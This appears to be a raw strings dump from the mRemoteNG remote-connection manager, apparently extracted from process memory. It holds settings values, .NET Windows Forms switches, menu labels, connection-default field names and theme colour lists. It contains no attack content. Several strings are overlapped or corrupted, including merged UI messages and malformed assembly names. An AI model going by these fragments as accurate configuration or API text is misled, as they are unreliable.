ThemeName vs2015light PuttySavedSessionsPanel General EncryptionEngine EncryptionBlockCipherMode LogFilePath C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log MultiSshToolbarLocation 3, 0 MultiSshToolbarParentDock MultiSshToolbarVisible False MainFormRestoreLocation 104, 104 MainFormRestoreSize 1145, 610 connectionStrings name connectionString providerName connectionString providerName LocalSqlServer data source=.\SQLEXPRESS;Integrated Security=SSPI;AttachDBFilename=|DataDirectory|aspnetdb.mdf;User Instance=true System.Data.SqlClient Start Attribute Closed Error StartElement EndElement StartAttribute EndAttribute Base64 RawData Whitespace Prolog PostDTD Element Content AttrOnly Epilog Doctype CData LongEndElement Empty Xml_InvalidSurrogateHighChar apos quot temp default preserve Xml_PartialContentNodeTypeNotSupportedEx http://www.w3.org/2001/XMLSchema http://www.w3.org/2001/XMLSchema-instance urn:schemas-microsoft-com:datatypes False True SmartSAspect CompNone False release False False False False True False True False False False 1000 False False 3, 25 False False False True False False True False True False mRemoteNG False 104, 104 True False False False False False False False {0}.{1:yyyyMMdd-HHmmssffff}.backup False 9/8, 34/8 Never True 00000000-0000-0000-0000-000000000000 True False False 3, 0 False AuthVNC False False False False False False 5500 https://mremoteng.org/ False False False False False 1145, 610 False False False Colors16Bit False mRemoteNG True False Maximized False General False False False Default Settings True False Bottom FitToWindow False False False C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log False False False False ColNormal False True False True False False False False False False False General noinfo DoNotPlay 3, 24 False True False False False False vs2015light False False EncrBasic False False False True False ProxyNone 9/9, 33/8 True False False cs-CZ,de,el,en,en-US,es-AR,es,fr,hu,it,ja-JP,ko-KR,nb-NO,nl,pt,pt-BR,pl,ru,uk,tr-TR,zh-CN,zh-TW False False True True 02/24/2026 08:02:39 False -8, -8 False False False False NoAuth False False False False False False False False False True False True False False False False False False False 3454, 1167 False False False False False False False False False Dynamic EncHextile General True False System.Web.Management.WebBaseEvent, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a RaisePropertyDeserializationWebErrorEvent [null] True False C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll WM_GETCONTROLNAME WM_GETCONTROLTYPE EnableWindowsFormsHighDpiAutoResizing true DpiAwareness system true/pm permonitor permonitorv2 false System.Windows.Forms.ApplicationConfigurationSection .NETFramework file DisableDpiChangedMessageHandling CheckedListBox.DisableHighDpiImprovements ToolStrip.DisableHighDpiImprovements Form.DisableSinglePassScalingOfDpiForms DataGridView.DisableHighDpiImprovements AnchorLayout.DisableHighDpiImprovements MonthCalendar.DisableHighDpiImprovements AnchorLayout.EnableHighDpiImprovementsV2 DisableDpiChangedHighDpiImprovements MouseZ Magellan MSWHEEL MSWHEEL_ROLLMSG comctl32.dll kernel32.dll AddDllDirectory 00000000-0000-0000-C000-000000000046 {0F21F359-AB84-41E8-9A78-36D110E6D2F9} Format_GuidUnrecognized Format_GuidInvLen Format_GuidDashes Format_GuidInvalidChar SecurityDemand Trace when security demands occur. Accelerator Cursor EnhancedMetaFile Find ComptibleHDC Icon Kernel Menu Window Alignment Anchor AutoScroll AutoSize Appearance AutoEllipsis BorderStyle CellBorderStyle Bounds CheckAlign ChildIndex ColumnHeadersHeight ColumnHeadersVisible Columns ColumnSpan ColumnStyles Controls Dock DisplayRectangle DisplayStyle DrawMode DropDownButtonWidth FlatAppearance.BorderSize FlatStyle FlowBreak FlowDirection Font GripStyle GrowStyle Image ImageIndex ImageScaling ImageScalingSize ImageKey ImageAlign Items LayoutSettings LinkArea Links LayoutStyle Location Margin MaximumSize MinimumSize Multiline Orientation PreferredSize Padding Parent RightToLeft RightToLeftLayout RowHeadersVisible RowHeadersWidth Rows RowSpan RowStyles Renderer ScrollBars Size ShowDropDownArrow ShowCheckMargin Spring Style TableIndex Text TextAlign TextImageRelation UseCompatibleTextRendering Visible WordWrap WrapContents DefWindowProcW user32.dll Window. WindowsForms10 .app. WindowsForms10.Window.8.app.0.129c866_r7_ad1 Software\Microsoft\.NETFramework DbgJITDebugLaunchSetting DbgManagedDebugger WinFormsMouseEnter WinFormsUnSubclass ShowCompleteConsPathInTitle pnlDock msMain Main Toolbar mMenFile mMenView mMenTools mMenInfo mMenSep3 tsContainer ToolStripContainer1 _quickConnectToolStrip _multiSshToolStrip _externalToolsToolStrip FrmMain mRemoteNG Mono.Runtime MenuFont GdiPlusInitialization Tracks GDI+ initialization and teardown .appDomain .NET SystemEvents LICENSE_FILE LOADER_OPTIMIZATION 4.0.0.0 .NET-BroadcastEventWindow.{0}.{1}.{2} .NET-BroadcastEventWindow.4.0.0.0.129c866.0 MS UI Gothic Tahoma DefaultFont vsplit.cur hsplit.cur dockPanelSuite DPS_EnableFontInheritanceFix Software\DockPanelSuite EnableFontInheritanceFix SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\Dynamic DST ImageList_WriteEx BUTTON Overflow mMenFileNewConnection mMenFileNewFolder mMenFileSep1 mMenFileNew mMenFileLoad mMenFileSave mMenFileSaveAs mMenFileSep2 mMenFileDelete mMenFileRename mMenFileDuplicate mMenFileSep4 mMenReconnectAll mMenFileSep3 mMenFileImport mMenFileImportFromFile mMenFileImportFromActiveDirectory mMenFileImportFromPortScan mMenFileExport mMenFileSep5 mMenFileExit Switch.UseLegacyAccessibilityFeatures Switch.UseLegacyAccessibilityFeatures.2 Switch.UseLegacyAccessibilityFeatures.3 Switch.UseLegacyAccessibilityFeatures.4 Switch.UseLegacyAccessibilityFeatures.5 Switch.System.Windows.Forms.UseLegacyToolTipDisplay TestSwitch.LocalAppContext.DisableCaching System.AppContext TryGetSwitch Version Profile Switch.System.Windows.Forms.DontSupportReentrantFilterMessage Switch.System.Windows.Forms.DoNotSupportSelectAllShortcutInMultilineTextBox Switch.System.Windows.Forms.DoNotLoadLatestRichEditControl Switch.System.Windows.Forms.UseLegacyContextMenuStripSourceControlValue Switch.System.Windows.Forms.DomainUpDown.UseLegacyScrolling Switch.System.Windows.Forms.AllowUpdateChildControlIndexForTabControls Switch.System.Windows.Forms.UseLegacyImages Switch.System.Windows.Forms.EnableVisualStyleValidation Switch.System.Windows.Forms.DisconnectUiaProvidersOnWmDestroy Microsoft Sans Serif Segoe UI IndeterminateChecked.ico IndeterminateChecked.bmp Checked.ico Checked.bmp DISPLAY STATIC ScrollButtonUp.bmp {b96b3caa-0728-11d3-9d7b-0000f81ef32e} {b96b3cab-0728-11d3-9d7b-0000f81ef32e} {b96b3cac-0728-11d3-9d7b-0000f81ef32e} {b96b3cad-0728-11d3-9d7b-0000f81ef32e} {b96b3cae-0728-11d3-9d7b-0000f81ef32e} {b96b3caf-0728-11d3-9d7b-0000f81ef32e} {b96b3cb0-0728-11d3-9d7b-0000f81ef32e} {b96b3cb1-0728-11d3-9d7b-0000f81ef32e} {b96b3cb2-0728-11d3-9d7b-0000f81ef32e} {b96b3cb3-0728-11d3-9d7b-0000f81ef32e} {b96b3cb4-0728-11d3-9d7b-0000f81ef32e} {b96b3cb5-0728-11d3-9d7b-0000f81ef32e} ScrollButtonDown.bmp strMenuFile mRemoteNG.Resources.Language.Language en-US System.Diagnostics.Eventing.FrameworkEventSource ERROR: Exception during construction of EventSource ETW_ GROUP System.Resources.ResourceReader System.Resources.RuntimeResourceSet <> /configuration/satelliteassemblies assembly name .resources __DynamicallyInvokableAttribute System.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 zh-Hans zh-Hant en-US Yesernal Tool Beforet will be displayed in the connections tree.tures and bug fixes. It is recommended that you allow {0} to che &File Connection_Add mRemoteNG.Properties.Resources System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a3ae089 System.String[], mscorlib, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.DateTime[], mscorlib, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap, System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Imaging.Metafile, System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Point, System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.PointF, System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Size, System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.SizeF, System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Font, System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Icon, System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Color, System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Windows.Forms.Cursor, System.Windows.Forms, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.Padding, System.Windows.Forms, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.LinkArea, System.Windows.Forms, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.ImageListStreamer, System.Windows.Forms, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.ListViewGroup, System.Windows.Forms, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.ListViewItem, System.Windows.Forms, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.ListViewItem+ListViewSubItem, System.Windows.Forms, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.ListViewItem+ListViewSubItem+SubItemStyle, System.Windows.Forms, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.OwnerDrawPropertyBag, System.Windows.Forms, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.TreeNode, System.Windows.Forms, Culture=neutral, PublicKeyToken=b77a5c561934e089 ObjectProgressStack opPool ObjectReader Object Stack System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap objectRequired objectToBeFixed System.Array Boolean Byte Char Decimal Double Int16 Int32 Int64 SByte Single TimeSpan DateTime UInt16 UInt32 UInt64 Data ShortcutKeys System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.KeysConverter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.Design.ShortcutKeysEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.ComponentModel.EditorAttributeSystem.Drawing.Design.UITypeEditor toStringEnter toStringEnd toStringControl toStringAlt toStringPageDown toStringInsert toStringHome toStringDelete toStringShift toStringPageUp toStringBack System.Windows.Forms en-us* en-US en-US en-US en-US en-us Browse...on Pane.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 Enter Ctrl PgDn Home Shift PgUp Back Ctrl+N strNewConnection New Connection Folder_Add Ctrl+Shift+N strNewFolder New Folder Connections_New strMenuNewConnectionFile New Connection File Connections_Load Ctrl+O strMenuOpenConnectionFile Open Connection File... Connections_Save Ctrl+S strMenuSaveConnectionFile Save Connection File Connections_SaveAs Ctrl+Shift+S strMenuSaveConnectionFileAs Save Connection File As... Delete strDelete Delete... Rename strRename Rename page_copy strDuplicate Duplicate Refresh strReconnectAllConnections Reconnect All Connections WindowsForms10.Window.20808.app.0.129c866_r7_ad1 WindowsForms10.Window.0.app.0.129c866_r7_ad1 strImportMenuItem &Import strImportFromFileMenuItem Import from &File... strImportAD Import from Active Directory strImportPortScan Import from Port Scan strExportToFileMenuItem &Export to File... Quit Alt+F4 strMenuExit Exit mMenViewAddConnectionPanel mMenViewConnectionPanels mMenViewSep1 mMenViewConnections mMenViewConfig mMenViewErrorsAndInfos mMenViewScreenshotManager ToolStripSeparator1 mMenViewJumpTo mMenViewJumpToConnectionsConfig mMenViewJumpToErrorsInfos mMenViewResetLayout mMenViewLockToolbars mMenViewSep2 mMenViewQuickConnectToolbar mMenViewExtAppsToolbar mMenViewMultiSSHToolbar mMenViewSep3 mMenViewFullscreen strMenuView &View Panel_Add strMenuAddConnectionPanel Add Connection Panel Panels strMenuConnectionPanels Connection Panels Switch.System.Windows.Forms.AccessibleObject.NoClientNotifications Root strMenuConnections Connections strMenuConfig Config ErrorsAndInfos strMenuNotifications Notifications Screenshot strScreenshots Screenshots JumpTo strMenuJumpTo Jump To Ctrl+Alt+C strMenuConnectionsAndConfig Connections and Config InformationSmall Ctrl+Alt+E application_side_tree strMenuResetLayout Reset layout strMenuLockToolbars Lock Toolbar Positions Play_Quick strMenuQuickConnectToolbar Quick Connect Toolbar ExtApp strMenuExternalToolsToolbar External Tools Toolbar strMenuMultiSshToolbar Multi SSH Toolbar arrow_out strMenuFullScreen Full Screen MainFormKiosk mMenToolsSSHTransfer mMenToolsUVNCSC mMenToolsExternalApps mMenToolsPortScan mMenToolsSep1 mMenToolsComponentsCheck mMenToolsOptions strMenuTools &Tools SSHTransfer strMenuSSHFileTransfer SSH File Transfer UVNC_SC strUltraVNCSingleClick UltraVNC SingleClick strMenuExternalTools External Tools PortScan strMenuPortScan Port Scan cog_error strComponentsCheck Components Check Options strMenuOptions Options mMenInfoHelp mMenInfoSep1 mMenInfoWebsite mMenInfoDonate mMenInfoForum mMenInfoBugReport ToolStripSeparator2 mMenToolsUpdate mMenInfoSep2 mMenInfoAbout strMenuHelp &Help TextDirection Help strMenuHelpContents mRemoteNG Help Website strMenuWebsite Website Donate strMenuDonate Donate user_comment strMenuSupportForum Support Forum strMenuReportBug Report a Bug Update strMenuCheckForUpdates Check for Updates mRemote strMenuAbout About lblQuickConnect cmbQuickConnect tsQuickConnect btnQuickConnect mnuQuickConnectProtocol btnConnections mnuConnections Microsoft Sans Serif COMBOBOX strLabelConnect &Connect: {6aedbd6d-3fb5-418a-83a6-7f45229dc872} {84236f7b-3bd3-428f-8dab-4ea1439ca315} {7462dc86-6180-4c7e-8e3f-ee7333a7a483} strMenuConnect Connect System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap *.vstheme vs2015light.vstheme Vs2003 vs2015light Vs2005 vs2012Light vs2012Dark vs2015dark vs2012Blue vs2015blue vs2013Light vs2013Dark vs2013Blue Error loading themes pnlLayout.xml extApps.xml Themes.xml Themes C:\Program Files (x86)\mRemoteNG mR3m uniqueId ConDefaultDescription Description ConDefaultIcon strGeneral General Panel Hostname ConDefaultProtocol Protocol ConDefaultExtApp Port ConDefaultPuttySession PuttySession ConDefaultICAEncryptionStrength ICAEncryptionStrength ConDefaultUseConsoleSession UseConsoleSession ConDefaultRDPAuthenticationLevel RDPAuthenticationLevel ConDefaultRDPMinutesToIdleTimeout prefix source RDPMinutesToIdleTimeout ConDefaultRDPAlertIdleTimeout RDPAlertIdleTimeout ConDefaultLoadBalanceInfo LoadBalanceInfo ConDefaultRenderingEngine RenderingEngine ConDefaultUseCredSsp UseCredSsp ConDefaultRDGatewayUsageMethod RDGatewayUsageMethod ConDefaultRDGatewayHostname RDGatewayHostname ConDefaultRDGatewayUseConnectionCredentials RDGatewayUseConnectionCredentials ConDefaultRDGatewayUsername RDGatewayUsername ConDefaultRDGatewayPassword RDGatewayPassword ConDefaultRDGatewayDomain RDGatewayDomain ConDefaultResolution Resolution ConDefaultAutomaticResize AutomaticResize ConDefaultColors Colors ConDefaultCacheBitmaps CacheBitmaps ConDefaultDisplayWallpaper DisplayWallpaper ConDefaultDisplayThemes DisplayThemes ConDefaultEnableFontSmoothing EnableFontSmoothing ConDefaultEnableDesktopComposition EnableDesktopComposition ConDefaultRedirectKeys RedirectKeys ConDefaultRedirectDiskDrives RedirectDiskDrives ConDefaultRedirectPrinters RedirectPrinters ConDefaultRedirectPorts RedirectPorts ConDefaultRedirectSmartCards RedirectSmartCards ConDefaultRedirectSound RedirectSound ConDefaultSoundQuality SoundQuality ConDefaultPreExtApp PreExtApp ConDefaultPostExtApp PostExtApp ConDefaultMacAddress MacAddress ConDefaultUserField UserField ConDefaultVNCCompression VNCCompression ConDefaultVNCEncoding VNCEncoding ConDefaultVNCAuthMode VNCAuthMode ConDefaultVNCProxyType VNCProxyType ConDefaultVNCProxyIP VNCProxyIP ConDefaultVNCProxyPort VNCProxyPort ConDefaultVNCProxyUsername VNCProxyUsername ConDefaultVNCProxyPassword VNCProxyPassword ConDefaultVNCColors VNCColors ConDefaultVNCSmartSizeMode VNCSmartSizeMode ConDefaultVNCViewOnly VNCViewOnly EverythingInherited New Folder IsExpanded strConnections Connections 4e56b1be-1de2-4011-a426-63caab539722 PuttySavedSessionsPanel strPuttySavedSessionsRootName PuTTY Saved Sessions e9ea011e-dec6-4124-b6bc-880c18479441 Xming Putty Sessions 5fcc37e7-b51c-4853-8e70-4b99b54717b0 da8175e3-7c66-4b7b-80f5-6bbf7deb1e9a LocalConnectionProperties.xml mRemoteNG C:\Users\job\AppData\Roaming\mRemoteNG\LocalConnectionProperties.xml C:\Users\job\AppData\Roaming\mRemoteNG\Themes C:\Program Files (x86)\mRemoteNG\Themes darcula.vstheme C:\Program Files (x86)\mRemoteNG\Themes\darcula.vstheme vs2015blue.vstheme C:\Program Files (x86)\mRemoteNG\Themes\vs2015blue.vstheme vs2015dark.vstheme C:\Program Files (x86)\mRemoteNG\Themes\vs2015dark.vstheme vs2015light.vstheme C:\Program Files (x86)\mRemoteNG\Themes\vs2015light.vstheme C:\Users\job\AppData\Roaming\mRemoteNG\Themes\vs2015light.vstheme C:\Users\job\AppData\Roaming\mRemoteNG\Themes\darcula.vstheme C:\Users\job\AppData\Roaming\mRemoteNG\Themes\vs2015blue.vstheme C:\Users\job\AppData\Roaming\mRemoteNG\Themes\vs2015dark.vstheme C:\Users\job\AppData\Roaming\mRemoteNG\Themes\vs2015light.vstheme C:\Users\job\AppData\Roaming\mRemoteNG\Themes\vs2015light.vstheme darcula encoding stream IgnoreWhitespace DtdProcessing XmlResolver PUBLIC SYSTEM http://www.w3.org/XML/1998/namespace http://www.w3.org/2000/xmlns/ xmlns AutoHideTabBackgroundBegin AutoHideTabBorder AutoHideTabText AutoHideTabMouseOverBackgroundBegin AutoHideTabMouseOverBorder AutoHideTabMouseOverText CommandShelfHighlightGradientBegin CommandBarTextActive CommandBarMenuSubmenuGlyph CommandBarMenuBackgroundGradientEnd CommandBarMenuBackgroundGradientBegin CommandBarMenuBorder CommandBarCheckBox CommandBarSelectedIcon CommandBarMenuIconBackground CommandBarMenuSeparator CommandBarCheckBoxDisabled CommandBarSelectedIconDisabled CommandBarTextInactive CommandBarMenuMouseOverSubmenuGlyph CommandBarCheckBoxMouseOver CommandBarHoverOverSelectedIcon CommandBarMenuItemMouseOver CommandBarMouseOverBackgroundBegin CommandBarBorder CommandBarTextHover CommandBarGradientBegin CommandBarToolBarBorder CommandBarDragHandle CommandBarOptionsBackground CommandBarOptionsGlyph CommandBarToolBarSeparator CommandBarToolBarSeparatorHighlight CommandShelfBackgroundGradientBegin CommandBarSelected CommandBarSelectedBorder CommandBarTextSelected CommandBarHoverOverSelectedIconBorder CommandBarTextHoverOverSelected DropDownGlyph DropDownMouseOverGlyph CommandBarSplitButtonSeparator DropDownMouseDownGlyph CommandBarMouseDownBackgroundBegin CommandBarTextMouseDown CommandBarOptionsMouseOverBackgroundBegin CommandBarOptionsMouseOverGlyph CommandBarOptionsMouseDownBackgroundBegin CommandBarOptionsMouseDownGlyph DocWellOverflowButtonGlyph DocWellOverflowButtonMouseOverBackground DocWellOverflowButtonMouseOverBorder DocWellOverflowButtonMouseOverGlyph DocWellOverflowButtonMouseDownBackground DocWellOverflowButtonMouseDownBorder DocWellOverflowButtonMouseDownGlyph FileTabSelectedBorder FileTabButtonSelectedActiveGlyph FileTabSelectedText FileTabInactiveBorder FileTabButtonSelectedInactiveGlyph FileTabInactiveText FileTabText FileTabBackground FileTabHotBorder FileTabHotGlyph FileTabHotText FileTabButtonHoverSelectedActive FileTabButtonHoverSelectedActiveBorder FileTabButtonHoverSelectedActiveGlyph FileTabButtonDownSelectedActive FileTabButtonDownSelectedActiveBorder FileTabButtonDownSelectedActiveGlyph FileTabButtonHoverSelectedInactive FileTabButtonHoverSelectedInactiveBorder FileTabButtonHoverSelectedInactiveGlyph FileTabButtonDownSelectedInactive FileTabButtonDownSelectedInactiveBorder FileTabButtonDownSelectedInactiveGlyph FileTabButtonHoverInactive FileTabButtonHoverInactiveBorder FileTabButtonHoverInactiveGlyph FileTabButtonDownInactive FileTabButtonDownInactiveBorder FileTabButtonDownInactiveGlyph EnvironmentBackground StatusBarDefault StatusBarHighlight MainWindowResizeGripTexture1 MainWindowResizeGripTexture2 StatusBarText TitleBarActiveBorder ToolWindowButtonActiveGlyph TitleBarDragHandleActive TitleBarActiveText TitleBarInactive ToolWindowButtonInactiveGlyph TitleBarDragHandle TitleBarInactiveText ToolWindowButtonHoverActive ToolWindowButtonHoverActiveBorder ToolWindowButtonHoverActiveGlyph ToolWindowButtonDown ToolWindowButtonDownBorder ToolWindowButtonDownActiveGlyph ToolWindowButtonHoverInactive ToolWindowButtonHoverInactiveBorder ToolWindowButtonHoverInactiveGlyph ToolWindowTabSelectedTab ToolWindowTabSelectedActiveText ToolWindowTabSelectedText ToolWindowTabText ToolWindowTabGradientBegin ToolWindowTabMouseOverBackgroundBegin ToolWindowTabMouseOverText ToolWindowTabSeparator ToolWindowBorder DockTargetBackground DockTargetBorder DockTargetButtonBackgroundBegin DockTargetButtonBorder DockTargetGlyphBackgroundBegin DockTargetGlyphArrow DockTargetGlyphBorder Theme Category Color Background Foreground Source #{0} Name Environment LightGrey activeborder activecaption appworkspace background buttonface buttonhighlight buttonshadow buttontext captiontext graytext highlight highlighttext inactiveborder inactivecaption inactivecaptiontext infobackground infotext menu menutext scrollbar threeddarkshadow threedface threedhighlight threedlightshadow window windowframe windowtext System.Drawing.ColorConverter, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a {NameAndARGBValue} System.Drawing.Design.ColorEditor, System.Drawing.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.ComponentModel.EditorAttributeSystem.Drawing.Design.UITypeEditor colorConstants systemColorConstants values Transparent AliceBlue AntiqueWhite Aqua Aquamarine Azure Beige Bisque Black BlanchedAlmond Blue BlueViolet Brown BurlyWood CadetBlue Chartreuse Chocolate Coral CornflowerBlue Cornsilk Crimson Cyan DarkBlue DarkCyan DarkGoldenrod DarkGray DarkGreen DarkKhaki DarkMagenta DarkOliveGreen DarkOrange DarkOrchid DarkRed DarkSalmon DarkSeaGreen DarkSlateBlue DarkSlateGray DarkTurquoise DarkViolet DeepPink DeepSkyBlue DimGray DodgerBlue Firebrick FloralWhite ForestGreen Fuchsia Gainsboro GhostWhite Gold Goldenrod Gray Green GreenYellow Honeydew HotPink IndianRed Indigo Ivory Khaki Lavender LavenderBlush LawnGreen LemonChiffon LightBlue LightCoral LightCyan LightGoldenrodYellow LightGreen LightGray LightPink LightSalmon LightSeaGreen LightSkyBlue LightSlateGray LightSteelBlue LightYellow Lime LimeGreen Linen Magenta Maroon MediumAquamarine MediumBlue MediumOrchid MediumPurple MediumSeaGreen MediumSlateBlue MediumSpringGreen MediumTurquoise MediumVioletRed MidnightBlue MintCream MistyRose Moccasin NavajoWhite Navy OldLace Olive OliveDrab Orange OrangeRed Orchid PaleGoldenrod PaleGreen PaleTurquoise PaleVioletRed PapayaWhip PeachPuff Peru Pink Plum PowderBlue Purple RosyBrown RoyalBlue SaddleBrown Salmon SandyBrown SeaGreen SeaShell Sienna Silver SkyBlue SlateBlue SlateGray Snow SpringGreen SteelBlue Teal Thistle Tomato Turquoise Violet Wheat White WhiteSmoke Yellow YellowGreen ActiveBorder ActiveCaption ActiveCaptionText AppWorkspace ButtonFace ButtonHighlight ButtonShadow Control ControlDark ControlDarkDark ControlLight ControlLightLight ControlText Desktop GradientActiveCaption GradientInactiveCaption GrayText Highlight HighlightText HotTrack InactiveBorder InactiveCaption InactiveCaptionText Info InfoText Menu MenuBar MenuHighlight MenuText ScrollBar Window WindowFrame WindowText Dockindicator_PaneDiamond_Hotspot WeifenLuo.WinFormsUI.ThemeVS2012.Resources System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ae089 DockIndicator_PaneDiamond_HotspotIndex MaskArrowBottom MaskWindowBottom MaskDock MaskCoreBottom MaskWindowCenter MaskCoreCenter MaskArrowLeft MaskWindowLeft MaskCoreLeft MaskArrowRight MaskWindowRight MaskCoreRight MaskArrowTop MaskWindowTop MaskCoreTop MaskDockFive MaskTabClose MaskTabList MaskTabOverflow MaskToolWindowClose MaskToolWindowDock MaskToolWindowOption MaskToolWindowAutoHide Switch.System.Windows.Forms.FreeControlsForRefCountedAccessibleObjectsInLevel5 vs2015light mRemoteNG.Resources.Themes.ColorMapTheme /Themes/Theme/Category[@Name='Cider']/Color[@Name='ComboBox']/Foreground/@Source/@Sourceourceourcerceund/@Source Dialog_Foreground node text processing-instruction comment List_Item_Selected_Border TextBox_Foreground Button_Foreground ProgressBar_Fill CheckBox_Glyph_Disabled TextBox_Border Button_Pressed_Border ComboBox_Button_MouseOver_Background ComboBox_Disabled_Background ComboBox_Button_MouseOver_Foreground ComboBox_Button_Foreground List_Background List_Item_Disabled_Background ComboBox_Button_MouseOver_Border TextBox_Focused_Background Dialog_Background List_Header_Foreground Treeview_SelectedItem_Active_Background CheckBox_Border_Disabled Button_Hover_Foreground ComboBox_PopUp_Border CheckBox_Glyph Button_Hover_Background List_Item_Disabled_Border CheckBox_Text GroupBox_Backgorund ErrorText_Foreground CheckBox_Border Button_Background List_Item_Foreground GroupBox_Disabled_Background WarningText_Foreground TreeView_Foreground ProgressBar_Fill_Critical GroupBox_Foreground TextBox_Disabled_Foreground GroupBox_Disabled_Foreground Tab_Item_Background CommandBarMenuDefault_Background Tab_Item_Foreground TreeView_Background CheckBox_Border_Hover ComboBox_Disabled_Foreground CommandBarMenuDefault_Foreground TextBox_Focused_Foreground ComboBox_MouseOver_Border Tab_Background ProgressBar_Background Button_Disabled_Border GroupBox_Disabled_Line ErrorText_Background Button_Disabled_Background ComboBox_Button_Background Button_Disabled_Foreground Button_Hover_Border TextBox_Disabled_Background Treeview_SelectedItem_Inactive_Foreground Tab_Item_Disabled_Foreground CheckBox_Background ComboBox_Border TextBox_Border_Focused Button_Pressed_Foreground Button_Pressed_Background Tab_Item_Disabled_Background List_Item_Border CheckBox_Border_Pressed ComboBox_Button_Pressed_Foreground List_Header_Background List_Item_Disabled_Foreground TextBox_Border_Disabled Treeview_SelectedItem_Inactive_Background List_Item_Selected_Foreground WarningText_Background List_Item_Background ComboBox_Button_Pressed_Background ProgressBar_Fill_Warning GroupBox_Line Treeview_SelectedItem_Active_Foreground CheckBox_Text_Disabled ComboBox_Button_Border ComboBox_Background TextBox_Background Button_Border List_Item_Selected_Background ComboBox_Foreground darcula Dialog_Foreground List_Item_Selected_Border TextBox_Foreground Button_Foreground ProgressBar_Fill CheckBox_Glyph_Disabled TextBox_Border Button_Pressed_Border ComboBox_Button_MouseOver_Background ComboBox_Disabled_Background ComboBox_Button_MouseOver_Foreground ComboBox_Button_Foreground List_Background List_Item_Disabled_Background ComboBox_Button_MouseOver_Border TextBox_Focused_Background Dialog_Background List_Header_Foreground Treeview_SelectedItem_Active_Background CheckBox_Border_Disabled Button_Hover_Foreground ComboBox_PopUp_Border CheckBox_Glyph Button_Hover_Background List_Item_Disabled_Border CheckBox_Text GroupBox_Backgorund ErrorText_Foreground CheckBox_Border Button_Background List_Item_Foreground GroupBox_Disabled_Background WarningText_Foreground TreeView_Foreground ProgressBar_Fill_Critical GroupBox_Foreground TextBox_Disabled_Foreground GroupBox_Disabled_Foreground Tab_Item_Background CommandBarMenuDefault_Background Tab_Item_Foreground TreeView_Background CheckBox_Border_Hover ComboBox_Disabled_Foreground CommandBarMenuDefault_Foreground TextBox_Focused_Foreground ComboBox_MouseOver_Border Tab_Background ProgressBar_Background Button_Disabled_Border GroupBox_Disabled_Line ErrorText_Background Button_Disabled_Background ComboBox_Button_Background Button_Disabled_Foreground Button_Hover_Border TextBox_Disabled_Background Treeview_SelectedItem_Inactive_Foreground Tab_Item_Disabled_Foreground CheckBox_Background ComboBox_Border TextBox_Border_Focused Button_Pressed_Foreground Button_Pressed_Background Tab_Item_Disabled_Background List_Item_Border CheckBox_Border_Pressed ComboBox_Button_Pressed_Foreground List_Header_Background List_Item_Disabled_Foreground TextBox_Border_Disabled Treeview_SelectedItem_Inactive_Background List_Item_Selected_Foreground WarningText_Background List_Item_Background ComboBox_Button_Pressed_Background ProgressBar_Fill_Warning GroupBox_Line Treeview_SelectedItem_Active_Foreground CheckBox_Text_Disabled ComboBox_Button_Border ComboBox_Background TextBox_Background Button_Border List_Item_Selected_Background ComboBox_Foreground vs2015blue Dialog_Foreground List_Item_Selected_Border TextBox_Foreground Button_Foreground ProgressBar_Fill CheckBox_Glyph_Disabled TextBox_Border Button_Pressed_Border ComboBox_Button_MouseOver_Background ComboBox_Disabled_Background ComboBox_Button_MouseOver_Foreground 